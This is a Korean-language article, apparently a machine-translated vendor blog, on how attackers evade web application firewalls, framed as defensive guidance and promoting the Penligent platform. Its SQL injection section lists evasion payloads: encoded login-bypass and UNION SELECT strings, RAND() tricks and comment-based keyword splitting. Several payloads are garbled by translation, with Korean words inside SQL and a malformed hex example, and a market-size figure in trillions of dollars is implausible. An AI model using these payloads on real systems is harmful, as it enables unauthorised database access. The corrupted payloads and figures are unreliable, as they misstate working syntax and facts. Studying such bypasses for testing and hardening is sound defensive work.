웹 애플리케이션 방화벽은 심층 방어 전략의 강력한 계층이지만 만병통치약은 아닙니다. WAF를 우회하는 기술-보안 팀에서 언급하는 것처럼 공격자가 악성 트래픽을 어떻게 숨길 수 있는지 연구하여 방어자가 이러한 격차를 예측하고 좁힐 수 있도록 하는 것을 의미합니다. 이 문서에서는 높은 수준의 회피 주제, 방어 테스트를 위한 실용적인 SQL 인젝션 사례 연구, 안전한 자동화 관행, 모니터링 접근 방식, Penligent와 같은 지속적 검증 플랫폼이 최신 보안 프로그램에 어떻게 적용되는지 살펴봅니다.
"WAF를 우회하는 기술"이란 무엇인가요?
간단히 말해, WAF 우회 기술은 공격자가 웹 애플리케이션 방화벽 보호를 우회하는 방법과 방어자가 이러한 우회 방법을 예측, 테스트, 차단하는 방법을 연구하는 것입니다. WAF(웹 애플리케이션 방화벽)는 만병통치약이 아니며 공격자는 끊임없이 전술을 진화시킵니다. 보안팀은 회피의 '기술'을 학습함으로써 공격자의 창의성을 방심하지 않고 방어 준비 태세로 전환하는 데 필요한 인사이트를 확보할 수 있습니다.
WAF 우회 연구가 중요한 이유
오늘날 보안팀은 시스템을 침해하기 위해 우회 기법을 연구하는 것이 아니라 위협 행위자가 이미 연구하고 있기 때문에 이를 연구합니다. 웹 보안 벤더들은 엄청난 발전을 이루었지만, 트래픽이 프로토콜과 인코딩이 작동해야 하는 가장자리에 도달하면 WAF는 여전히 취약합니다.
최근 학술 연구(WAFFLED, 2025)에서는 AWS, Azure, Cloudflare, Google Cloud 및 ModSecurity를 평가하여 다음과 같은 내용을 문서화했습니다. 1,207개의 실제 바이패스 인스턴스 파싱 불일치 및 콘텐츠 유형에 대한 느슨한 처리로 인해 발생합니다. 이는 실패의 증거가 아니라 공격자들이 인내심이 있고 창의적이며 체계적이라는 사실을 상기시켜 줍니다.
동시에 WAF 시장은 계속 성장하고 있습니다.2024년 1조 4천 733억 달러, 2025년 1조 4천 860억 달러에 달할 것으로 예상됩니다. (포춘 비즈니스 인사이트). 기업들은 WAF가 필요하기 때문에 막대한 투자를 계속하고 있습니다. 하지만 완벽하지는 않습니다.
교훈은? WAF를 배포하는 것이 1단계입니다. 그 한계를 이해하고 이러한 인사이트를 바탕으로 방어를 조정하는 것이 2단계입니다. 성숙한 팀은 이 두 단계를 모두 수행합니다.

공격자가 WAF를 회피하는 방법: 방어적 관점
공격자가 웹 애플리케이션 방화벽을 우회하는 방법을 이해한다는 것은 공격 방법을 가르치는 것이 아니라 다른 사람이 공격하기 전에 그 틈새를 찾아내는 것을 의미합니다. 실제로 대부분의 우회 시도는 방화벽과 애플리케이션이 동일한 요청을 서로 다른 방식으로 인식하는 단순한 역학 관계에 의존합니다. 공격자는 문자 인코딩 방식을 변경하거나, 요청을 예상치 못한 콘텐츠 유형으로 변경하거나, 덜 사용되는 HTTP 동사를 사용하는 등 이러한 해석의 차이를 악용하므로 방어자는 이러한 불일치를 가장 먼저 발견할 수 있어야 합니다.
일반적인 패턴은 무해해 보이는 페이로드가 인코딩되어 WAF에는 무해해 보이지만 백엔드에서 이를 디코딩하여 동작하는 것입니다. 또 다른 빈번한 문제 원인은 구문 분석 불일치입니다. WAF 동작에 대한 연구를 통해 다중 파트 본문 처리 방식이나 중복 매개변수 축소 방식 등 미묘한 차이로 인해 방화벽의 필터와 서버의 파서 간에 일관되지 않은 결과가 발생하는 수백 건의 사례를 문서화했습니다. 이는 이색적인 익스플로잇이 아니라 서로 다른 구문 분석 규칙과 가정에서 비롯된 실용적이고 반복 가능한 문제입니다.
방어적인 관점에서 볼 때, 정규화를 조기에 적용하고, 가능한 경우 정규화 전 입력과 서버 측 입력을 모두 기록하고, 서명 목록에만 의존하지 않고 실제 애플리케이션 동작에 대한 규칙을 조정하는 것은 개념상으로는 간단하지만 실행이 까다로운 경우도 있습니다. 다음 스니펫은 정상적으로 보이는 JSON 본문이 어떻게 인코딩된 값을 숨길 수 있는지 보여줍니다. 원시 요청과 사후 디코딩된 애플리케이션 입력을 모두 기록하면 WAF를 통과했지만 나중에 앱에서 예기치 않은 동작을 일으켰는지 여부를 파악하는 데 도움이 됩니다.
POST /login HTTP/1.1
Host: example.com
Content-Type: application/json
Content-Length: 43
{"user":"admin", "pass":"%27 OR %271%27=%271"}
요컨대, 우회는 한 번의 극적인 실수가 아니라 작은 불일치들이 겹겹이 쌓여서 발생하는 경우가 많습니다. 표준화, 일관된 구문 분석, 포괄적인 로깅에 집중하면 사각지대에 있던 작은 불일치를 진단 가능한 문제로 전환할 수 있으며, 이것이 바로 방어적 관점에서 우회 패턴을 연구할 때 얻을 수 있는 실질적인 가치입니다.

SQL 인젝션 WAF 우회: 정의 및 일반적인 기술
WAF를 우회하는 SQL 인젝션이란 무엇인가요? SQL 인젝션은 공격자가 악성 SQL 문을 입력 필드에 삽입하여 애플리케이션의 인증을 무력화하고 기본 데이터베이스를 직접 조작하는 공격 기법입니다. 웹 애플리케이션 방화벽(WAF)은 사용자와 애플리케이션 사이에 위치하여 요청을 검사하고 의심스러운 SQL 패턴이 데이터베이스에 도달하기 전에 차단하는 SQLi에 대한 일반적인 방어 수단 중 하나입니다. WAF를 우회하는 SQL 인젝션 는 공격자가 이러한 필터링 규칙을 회피하기 위해 사용하는 기술을 의미하며, WAF가 있음에도 불구하고 악성 SQL이 서버에 도달할 수 있도록 합니다.
이러한 우회 패턴을 이해하는 것은 방어자에게 필수적입니다. 공격자는 새로운 SQL 구문을 개발하는 경우는 거의 없습니다. 난독화 또는 변환 페이로드가 서명 기반 또는 순진한 휴리스틱 검사가 일치하지 않도록 합니다. 이러한 난독화 전략을 매핑하여 방어 팀은 돌연변이 기반 테스트 세트와 표준화 루틴을 구축하여 이러한 격차를 줄일 수 있습니다.
SQLi WAF 회피 기법 요약
1. 인코딩 변장 인코딩 기반 우회의 기본 개념은 공격자가 특수 문자 인코딩을 사용하여 입력을 변환함으로써 WAF의 탐지 로직이 더 이상 악성 SQL을 인식하지 못하도록 하는 것입니다. 간단히 말해, 인코딩 위장은 탐지할 수 있는 SQL 페이로드를 WAF 규칙이 일치하지 않는 형태로 변환합니다. 인코딩 기반 난독화는 여러 가지 형태를 취할 수 있습니다:
- (1) URL 인코딩:예제 :
난독화 전 원본 페이로드:
SELECT * FROM users WHERE username = 'admin' 또는 1 = 1;--' AND password = '123456'
URL 인코딩 위장 후 페이로드:
SELECT%20*%20FROM%20users%20WHERE%20username%20%3D%20%27admin%27%20or%201%20%3D%201%3B--%27%20AND%20password%20%3D%20%27123456%27
- (2) 유니코드 인코딩:
난독화 전 페이로드:
SELECT * FROM users WHERE username = 'admin' OR 1=1 AND password = '123456'
위장된 페이로드:
SELECT+*+FROM+users+WHERE+username+=+'%u0061dmin'+OR+1=1%23+AND+password+=+'123456'
- (3) 16진수 인코딩:
난독화 전 페이로드:
' 또는 1=1 --.
위장된 페이로드:
27%20%4F%52%201%3D%31%20%2D%2D
- (4) 보조 인코딩:
- 난독화 전 페이로드:
-1 유니온 선택 1,2,3,4#
- 첫 번째 인코딩 후 페이로드:
%2d%31%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32%2c%33%2c%34%23
- 두 번째 인코딩 후 페이로드:
%25%32%64%25%33%31%25%32%30%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%33%31%25%32%63%25%33%32%25%32%63%25%33%33%25%32%63%25%33%34%25%32%33
2. 이스케이프 문자 마스킹
- 난독화 전 페이로드:
'UNION SELECT 사용자 이름, 비밀번호 FROM 사용자 --'
위장된 페이로드:
\사용자 이름, 비밀번호를 사용자로부터 선택합니다.
위의 예시에서 공격자는 원본 페이로드에 작은따옴표를 사용하고 그 앞에 백슬래시를 붙였습니다. \를 사용하여 이스케이프 문자를 생성합니다. \'. 그러나 많은 프로그래밍 환경에서 백슬래시 자체는 이스케이프 문자이기도 합니다. 공격자는 백슬래시와 작은따옴표를 결합하여 SQL 문 내에서 원시 작은따옴표가 아닌 사실상 '이스케이프된' 작은따옴표인 문자를 생성할 수 있습니다. 이러한 방식으로 공격자는 이스케이프되지 않은 작은따옴표를 찾는 필터와 유효성 검사를 우회할 수 있습니다.
3. 난수 난독화
- 난독화 전 페이로드:
UNION SELECT username, password FROM users WHERE id=1
위장된 페이로드:
' UNION SELECT 사용자명, 비밀번호
FROM users WHERE id=1 AND 1=(SELECT
rand() < 0.5) -- --
이 페이로드에서 공격자는 RAND() 함수를 사용하여 난수를 생성하고 이를 0.5. 이후 RAND() 는 0과 1 사이의 값을 반환할 수 있으며, 이 비교 결과는 무작위입니다. 생성된 숫자가 0.5보다 작을 확률은 50%이고 0.5보다 크거나 같을 확률은 50%입니다.
- 생성된 숫자가 0.5보다 작으면 페이로드가 됩니다:
UNION SELECT username, password FROM users WHERE id=1 AND 1=1
생성된 숫자가 0.5보다 크거나 같으면 페이로드가 됩니다:
UNION SELECT username, password FROM users WHERE id=1 AND 1=0
이 두 가지 경우는 각각 악성 코드의 성공적인 실행과 실패에 해당합니다. 또한 공격자는 -- 주석 기호를 사용하여 쿼리의 나머지 부분을 제거하여 페이로드를 탐지하기 어렵게 만듭니다.
난수 기반 난독화를 사용하면 인젝션마다 페이로드가 다르게 나타나기 때문에 WAF 탐지의 난이도가 높아집니다. 또한 난수 값을 예측할 수 없기 때문에 공격자는 결과를 바탕으로 인젝션의 성공 여부를 유추할 수 있지만 WAF는 이러한 동작을 탐지할 수 없습니다.
- 대소문자 혼합 난독화 공격자는 대문자와 소문자를 혼합하여 키워드를 위장합니다(예: 대문자와 소문자 혼합).
UnIon SeleCt. - 이중 쓰기(복제) 난독화 예시:
유니온온 셀셀렉트WAF는 이를 일반 문자로 취급하고 패턴을 놓치는 반면 애플리케이션의 SQL 구문 분석기는 이를 다음과 같이 정규화합니다.유니온 선택로 설정하고 그에 따라 실행합니다. - 인라인 댓글 난독화 인라인 주석 SQL 인젝션은 인라인 주석 마커를 삽입된 키워드 안에 삽입하여 방화벽으로부터 악성 SQL을 숨기는 방식으로 작동합니다. 예를 들어, 공격자는
/* ... */주석 조각을 페이로드에 삽입하여 WAF의 패턴 매칭이 실패하지만 데이터베이스 파서가 정규화된 키워드를 해석하고 삽입된 코드를 실행합니다. 원본 텍스트에 제공된 예시입니다:
' /!union/ select
대체로 SQL 인젝션 우회 기술은 데이터베이스/구문 분석 계층에서 작동하며, 데이터베이스 관리 시스템마다 구문 분석 동작이 다르기 때문에 우회 방법은 DBMS마다 다릅니다. 우회 기법의 핵심은 난독화입니다. 페이로드가 WAF/필터 규칙을 우회하지만 애플리케이션/데이터베이스에서는 여전히 유효한 SQL로 해석되도록 페이로드를 제작하는 것입니다. 성공적으로 우회하려면 일반적으로 유연한 페이로드 구성과 여러 번의 시도가 필요하며, 최신 WAF는 점점 더 효과적이므로 SQL 인젝션 테스트가 더 어려워지고 있습니다.
윤리적 WAF 테스트: 자동화를 위한 안전하고 합법적인 접근 방식
우회 기술이 발전함에 따라 보안팀은 안전하고 자동화된 반복 가능한 테스트 워크플로우를 도입해야 합니다. 다음은 유효한 방어 프로세스를 구성하는 방법입니다:
실험실/테스트 환경 설정 - 항상 프로덕션의 안전한 복제본에서 검증합니다. 테스트는 동일한 WAF 규칙과 라우팅을 사용하는 미러링된 준비 환경에서 이루어져야 하며, 프로덕션 환경에서 중단 없는 테스트를 실행해서는 안 됩니다. 전체 추적(WAF 이전 및 이후)을 캡처하여 변형을 분석할 수 있습니다.
WAF 핑거프린팅 - 평가 중인 방화벽을 이해합니다. 패시브 핑거프린팅으로 시작하여 공급업체와 모드를 식별하세요. 헤더와 동작 단서를 보고하는 도구를 사용하면 테스트 제품군의 범위를 정하고 현실적인 사각지대에 집중할 수 있습니다.
자동화된 페이로드 생성 및 퍼징 - 구조화된 돌연변이 엔진을 사용합니다. 다양한 인코딩, 콘텐츠 유형 순열 및 중첩 형식을 생성하는 컨텍스트 인식 퍼저를 활용하세요. 자동화를 통해 반복성을 보장하고 여러 엔드포인트에 걸쳐 확장할 수 있습니다.
통제된 검증 및 증거 수집 - 양쪽 모두를 감사합니다. 각 테스트에 대한 WAF 응답과 백엔드 동작을 저장하세요. 이 비교는 의미 있는 수정 및 감사 추적을 위한 핵심 증거입니다.
수정 플레이북 - 발견한 사항을 우선 순위가 지정된 수정 사항으로 전환합니다. 표준화 우선순위를 정하고, 규칙 집합을 강화하고, 콘텐츠 유형 검사를 시행하고, 서버 파서를 패치하고, 앱 수준 유효성 검사를 추가하세요. 소유권 및 재테스트 기준을 문서화하세요.
지속적인 유효성 검사 및 CI/CD 통합 - 테스트를 습관화하세요. 소독된 테스트 스위트를 CI/CD 파이프라인에 통합하여 규칙 업데이트 및 코드 변경이 자동으로 마이크로 검증 실행을 트리거하도록 합니다.
자동화 플랫폼(도움이 되는 곳) Penligent와 같은 플랫폼은 안전한 프로브를 자동화하고, 원시 추적과 정규화된 추적을 수집하며, 팀이 파이프라인으로 푸시할 수 있는 우선 순위가 지정된 수정 플레이북을 생성합니다. 자동화를 사용하여 발견과 검증 사이의 루프를 닫으세요.
이 단계에서 펜리전트와 같은 솔루션은 다음과 같은 자연어 프롬프트를 허용하여 가치를 더할 수 있습니다. "최신 우회 기술에 대한 WAF 테스트 및 안전한 보고서 제공"를 사용하여 소독된 프로브를 실행하고, 증거를 캡처하고, 우선순위가 지정된 해결 단계를 생성합니다. 이러한 자동화를 CI/CD 파이프라인에 통합하면 다음과 같은 이점을 얻을 수 있습니다. 지속적인 유효성 검사 일회성 테스트가 아닌
라이브 시스템에서 WAF 우회 시도 탐지 및 모니터링
강화된 WAF 규칙이 있더라도 프로덕션 환경에서 활성 우회 시도를 탐지하는 기능은 매우 중요합니다. 다음 전략을 고려하세요:
| 신호 | 모니터링 대상 | 중요한 이유 |
| 원시 요청 로그와 정규화된 요청 로그 | WAF 이전 로그와 WAF 이후 로그 모두 저장(가능한 경우) | 변경/허용된 내용을 비교할 수 있습니다. |
| 비정상적인 인코딩 패턴 | % 이스케이프, 유니코드 시퀀스 등이 포함된 요청이 많습니다. | 난독화 시도를 나타낼 수 있습니다. |
| 예기치 않은 HTTP 메서드 또는 헤더 | PUT/TRACE, X-Forwarded-Host와 같은 사용자 정의 헤더 사용 | 표준 검사 로직을 우회할 수 있음 |
| 저속이지만 반복적인 페이로드 | 시간이 지남에 따라 유사한 페이로드가 간격을 두고 반복됩니다. | 느리고 꾸준한 회피를 나타낼 수 있습니다. |
| 백엔드 오류 패턴 | 예기치 않은 애플리케이션 오류 또는 구문 분석 예외 | WAF가 "확인" 로그를 기록했지만 페이로드가 앱에 도달했음을 보여줄 수 있습니다. |
WAF 로그, 백엔드 로그, SIEM/EDR 분석을 결합하면 잠재적 회피에 대한 보다 완전한 그림을 그릴 수 있습니다. 모범 사례: 다음과 같은 경우에 알림을 트리거하세요. 인코딩 복잡성 × 비-POST 방식 × 레어 헤더 > 임계값을 클릭합니다.
WAF 및 웹 애플리케이션 강화: 심층적인 방어
회피 방법과 탐지 신호를 이해했다면 이제 환경을 강화해야 할 때입니다:
- 표준화 및 정규화 사용: 규칙 일치 및 백엔드 처리 전에 모든 입력이 표준 양식으로 축소되었는지 확인합니다.
- 포지티브 보안 모델 적용: 가능한 경우, 알려진 나쁜 패턴을 블랙리스트에 올리는 대신 허용되는 패턴을 화이트리스트에 올리세요.
- 콘텐츠 유형 및 HTTP 메서드 유효성 검사 엄격 적용: 예상되는 방법(예: 양식 제출의 경우 POST)만 허용하고 콘텐츠 유형(예: API 엔드포인트의 경우 application/json만)의 유효성을 검사합니다.
- 추가 보호 계층화: WAF와 함께 RASP(런타임 애플리케이션 자가 보호), EDR 및 행동 분석을 사용합니다.
- 지속적인 테스트 및 규칙 업데이트 유지: 위협은 변하기 때문에 규칙도 마찬가지로 진화해야 합니다. 테스트 자동화 및 인텔리전스 피드를 사용하세요.
현실에서: 2025년 주요 연구("WAFFLED")에 따르면 기존 WAF가 파싱 불일치를 통해 반복적으로 우회되는 것으로 밝혀져 시그니처 전용 WAF에 의존하기보다는 계층화된 방어의 필요성이 강조되었습니다. arXiv
자동화 및 도구: 연구와 실제 방어의 연결고리
우회 시도의 양과 다양성을 고려할 때 수동 테스트만으로는 더 이상 충분하지 않습니다. 공격 시뮬레이션(안전 모드에서)과 규칙 검증 모두에서 자동화가 핵심이 되었습니다.
(스택에서 사용 가능한 경우) Penligent와 같은 플랫폼은 자연어 프롬프트가 안전한 모의 침투 테스트를 유도하는 방법을 보여줍니다:
- "최신 2025년 우회 방법에 대해 WAF 테스트"
- "매개변수 오염 및 다중 파트 구문 분석 불일치 확인"
그런 다음 플랫폼:
- 안전하고 위생 처리된 프로브 전송
- 차단된 트래픽과 통과된 트래픽 캡처
- 감사 준비된 증거 번들 생성
- 문제 해결 플레이북 제공 (강화할 규칙, 유효성 검사할 엔드포인트)
CI/CD 파이프라인에서 자동화를 사용하면 새로운 빌드, 규칙 업데이트 또는 애플리케이션 변경이 있을 때마다 마이크로 테스트 주기를 트리거하여 코드와 위협이 진화해도 WAF의 유효성을 유지할 수 있습니다.
결론
WAF를 우회하는 기술은 침입하는 방법을 가르치는 것이 아닙니다. 공격자의 사고 방식 이해를 통해 방어자가 예측하고 테스트하며 그에 따라 방어를 강화할 수 있습니다. 웹 애플리케이션 방화벽은 여전히 중요한 계층이지만 무적이지는 않습니다. 우회 기법을 연구하고, 지능적으로 모니터링하고, 테스트를 자동화하고, 계층화된 보호 기능을 적용함으로써 사후 대응에서 사전 예방적 태세로 전환할 수 있습니다. 2025년 이후에는 WAF가 규칙 라이브러리에서 지속적인 조사를 통해 검증된 동적 방어로 진화해야 합니다.
우회가 어떻게 발생하는지 파악하고, 안전하고 자주 테스트하며, 공격자가 그 틈을 악용하기 전에 스택을 강화하세요.

